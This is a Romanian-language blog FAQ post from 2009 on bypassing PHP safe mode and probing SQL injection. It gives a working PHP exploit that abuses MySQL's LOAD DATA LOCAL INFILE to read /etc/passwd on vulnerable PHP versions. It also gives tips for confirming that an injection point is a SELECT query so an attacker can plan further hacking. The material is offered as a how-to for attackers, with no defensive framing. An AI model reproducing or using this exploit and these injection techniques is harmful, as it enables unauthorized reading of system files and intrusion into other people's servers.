RicH and FamouS

       Home         Glosar IT                                                                                                                                                                                                              SUBSCRIBE NOW!
        

20.06.2009

FAQs - №2

Problema: Cum pot trece peste Safe-mode în ultimile versiuni PHP?

Rezolvare: Iată unele scripturi, care te vor ajuta să citeşti conţinutul file-urilor şi a fişierelor în sistemă atunci cînd e activat safe-mode: PHP <=4.4.7/5.2.3MySQL/MySQLi Safe Mode Bypass Vulnerability
Cod:
<_?php
file_get_contents('/etc/passwd');
$1 = mysql_connect("localhost","root");

mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT, INSERT ON a.a TO 'aaaa'@'localhost' ");
mysql_close($1);
mysql_connect("localhost", "aaaa");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))

print $row . chr(10);
?>
P.S. Linia _ din cod se elimina

_____________________________________________________

Problema: Cum pot depista că SQL-Injecţia se află anume în cererea SELECT, dar nu în cererea DELETE, UPDATE sau altele?

Rezolvare: Pentru aceasta se poate de încercat de pus la sfîrşitul cererei operatorul LIMIT. Lipsa errorii ne va comunica despre, faptul ca serverul lucrează cu MySQL (deoarece, precum ştim, LIMIT - nu e standartul Structured Query Language) şi, desigur, despre faptul că acolo întradevăr figurează operatorul SELECT. Însă în cazul în care nu e MySQL, atunci utilizatorul care atacă poate să încerce să pună GROUP BY 1 sau HAVING 1=1 - cereri, care se referă către standartul limbajului SQL şi care lucrează doar în operatorul SELECT. Aceste 2 metode pot afla tipul cererii şi pot stabili care va fi tehnica de hack mai departe a resursei.

    Blog din Moldova    FastCounter 

 
Copyright © 2008-2010 Foster1. All rights reserved.